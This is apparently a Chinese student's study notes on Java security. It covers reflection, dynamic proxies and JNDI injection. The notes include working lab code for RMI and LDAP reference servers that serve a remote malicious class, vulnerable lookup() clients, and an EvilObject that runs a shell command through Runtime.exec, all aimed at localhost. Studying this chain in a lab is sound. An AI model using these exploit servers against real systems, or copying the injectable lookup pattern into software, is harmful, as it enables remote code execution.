顺着这个路线学的:https://github.com/Y4tacker/JavaSec
边学边记,肯定有一些错误()
环境 jdk 1.8.0_72
java 在运行时:
这种动态获取信息,动态调用对象方法的功能,就是反射机制。
package com.mingzux;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class test {
public static void main(String[] args) throws Exception {
// 获取 Runtime 实例
Object runtimeInstance = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null);
// 调用 exec(String command) 方法, 执行系统命令 cmd, 并将该进程的 Process 对象保存
String cmd = "ls /";
Process result = (Process) Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtimeInstance, cmd);
// 从 Process 的标准输出流读取结果
try (BufferedReader reader = new BufferedReader(new InputStreamReader(result.getInputStream()))) {
String data;
while ((data = reader.readLine()) != null) {
System.out.println(data);
}
}
}
}
整体思路是调用 Runtime 的 exec 方法来执行命令
Class.forName("java.lang.Runtime").getMethod("exec", String.class)
获取 Method exec.invoke()
调用 exec ,调用时需要 Runtime 实例作为参数,所以在调用前先通过 Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)
获取final
或 static final
修饰的成员变量package com.mingzux;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class TestReflection {
public static void main(String[] args) throws Exception {
// 获取类和对象
Class mz = SDUer.class;
SDUer mingzu = (SDUer) mz.getDeclaredConstructor().newInstance();
// 获取继承的 public 字段 - name
Field name = mz.getField("name");
System.out.println(name);
// 读取 name 的值, 需要该类的对象, 而不是类
System.out.println(name.get(mingzu));
// 修改 name 的值, 需要该类的对象, 而不是类
name.set(mingzu, "M!ng2u");
System.out.println(name.get(mingzu));
// 获取 private 字段 - sduId
Field sduId = mz.getDeclaredField("sduId");
System.out.println(sduId);
// 读取 sduId 的值,同样需要对象
sduId.setAccessible(true); // private 需要 setAccessible
System.out.println(sduId.get(mingzu));
// 修改 sduId 的值
sduId.set(mingzu, "2333333");
System.out.println(sduId.get(mingzu));
// 获取继承的 protected 字段 - id
Field id = mz.getSuperclass().getDeclaredField("id");
System.out.println(id);
// 读取 id 的值
System.out.println(id.get(mingzu));
// 修改 id 的值
id.set(mingzu, "31415926535");
System.out.println(id.get(mingzu));
// 获取继承的被 final 修饰的字段 - species
Field species = mz.getField("species");
System.out.println(species);
// 读取 species 的值
System.out.println(species.get(mingzu));
// 修改 species 的值
// 获取 species 的 modifiers
Field speciesModifiers = species.getClass().getDeclaredField("modifiers");
System.out.println(speciesModifiers);
// 读取 modifiers 的值
speciesModifiers.setAccessible(true);
System.out.println(speciesModifiers.get(species));
// 将 modifiers 中的 final 去掉
speciesModifiers.setInt(species, species.getModifiers() & ~Modifier.FINAL);
System.out.println(speciesModifiers.get(species));
// 这时候就可以修改 species 的值了
species.setAccessible(true);
species.set(mingzu, "Visitor");
System.out.println(species.get(mingzu));
// 获取被 static final 修饰的字段 - university
Field university = mz.getDeclaredField("university");
System.out.println(university);
// 读取 university 的值
university.setAccessible(true);
System.out.println(university.get(mingzu));
university.setAccessible(false); //这里不设 false 会寄, 可能是下面权限检查过不了
// 修改 university 的值
// 获取 university 的 modifiers
Field universityModifiers = university.getClass().getDeclaredField("modifiers");
System.out.println(universityModifiers);
// 读取 modifiers 的值
universityModifiers.setAccessible(true);
System.out.println(universityModifiers.get(university));
// 将 modifiers 中的 static final 去掉
universityModifiers.setInt(university, university.getModifiers() & ~Modifier.FINAL);
System.out.println(universityModifiers.get(university));
// 修改 university 的值
university.set(mingzu, "minihash");
System.out.println(university.get(mingzu));
System.out.println(mingzu.university); // 由于 JVM 内联优化, 包含 final 修饰的 university 的这句会被改成
// System.out.println("SDU");
// 所以只能用上面的 Field.get(Object obj) 方法获取
}
}
class SDUer extends Person {
public static final String university = "SDU";
private String sduId = "202322171145";
@Override
public String toString() {
return "SDUer [sduId=" + sduId + ", name=" + name + ", id=" + id + ", university=" + university + "]";
}
}
class Person {
public String name = "Mingzu";
public String gender = "M";
protected String id = "1145141919810";
public final String species = "Human";
}
输出结果为
------------------------------------------------------
public java.lang.String com.mingzux.Person.name
Mingzu
M!ng2u
------------------------------------------------------
private java.lang.String com.mingzux.SDUer.sduId
202322171145
2333333
------------------------------------------------------
protected java.lang.String com.mingzux.Person.id
1145141919810
31415926535
------------------------------------------------------
public final java.lang.String com.mingzux.Person.species
Human
private int java.lang.reflect.Field.modifiers
17
1
Visitor
------------------------------------------------------
public static final java.lang.String com.mingzux.SDUer.university
SDU
private int java.lang.reflect.Field.modifiers
25
9
minihash
SDU
定义:JVM在运行期动态创建class字节码并加载的过程
java.lang.reflect.InvocationHandler
Object invoke(Object proxy, Method method, Object[] args)
定义了代理对象调用方法时希望执行的动作,用于集中处理在动态代理类对象上的方法调用
java.lang.reflect.Proxy
static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
创建一个实例,需要三个参数:
ClassLoader
InvocationHandler
实例。static InvocationHandler getInvocationHandler(Object proxy)
获取指定代理对象所关联的调用处理器
static Class<?> getProxyClass(ClassLoader loader, Class<?>... interfaces)
获取指定接口的代理类
static boolean isProxyClass(Class<?> cl)
判断 cl 是否为一个代理类
跟着写了一个动态代理的代码,比较简单的一小段
package com.mingzux;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class DynamicProxy {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good Morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello) Proxy.newProxyInstance(
Hello.class.getClassLoader(),
new Class[] { Hello.class },
handler
);
hello.morning("Mingzu");
}
}
interface Hello {
void morning(String name);
}
Java Naming and DirectoryInterface(Java命名和目录接口)
重要:需要知道 jdk 版本号
JNDI 有一个 Reference 类表示对某个对象的引用,而对象的传递无非就是两种方式:
利用技巧:
将恶意 Reference 类绑定在 RMI 注册表,指向远程 class 文件
当 JNDI 客户端 lookup() 函数外部可控或 Reference 类构造方法的 classFactoryLocation 参数外部可控时,实现加载远程 class 文件在本地执行,实现远程代码执行
RMIService.jvav
package com.mingzux.JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIService {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}
JNDIClient.java
package com.mingzux.JNDI;
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception {
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/refObj";
Context ctx = new InitialContext();
System.out.println("Using lookup() to fetch object with " + uri);
ctx.lookup(uri);
}
}
EvilObject.java
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class EvilObject {
public EvilObject() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "ls /"};
Process pc = rt.exec(commands);
BufferedReader result = new BufferedReader(new InputStreamReader(pc.getInputStream()));
String data;
while((data = result.readLine()) != null) {
System.out.println(data);
}
pc.waitFor();
}
}
版本:8u191、7u201、6u211与8u121、7u131、6u141之间
利用技巧:与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址
看了好几遍,然后边写边看跟着抄了一遍,大致了解了,先过()
LdapServer.java
package com.mingzux.Ldap;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=mingzux,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#EvilObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
public void processSearchResult (InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf("#");
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
JNDIClient.java
package com.mingzux.Ldap;
import javax.naming.Context;
import javax.naming.InitialContext;
public class JNDIClient {
public static void main(String[] args) throws Exception {
String uri = "ldap://127.0.0.1:1234/remoteObj";
Context ctx = new InitialContext();
System.out.println("Using lookup() to fetch object with " + uri);
ctx.lookup(uri);
}
}
EvilObject.java 没变,跟上一节一样
—— 评论区 ——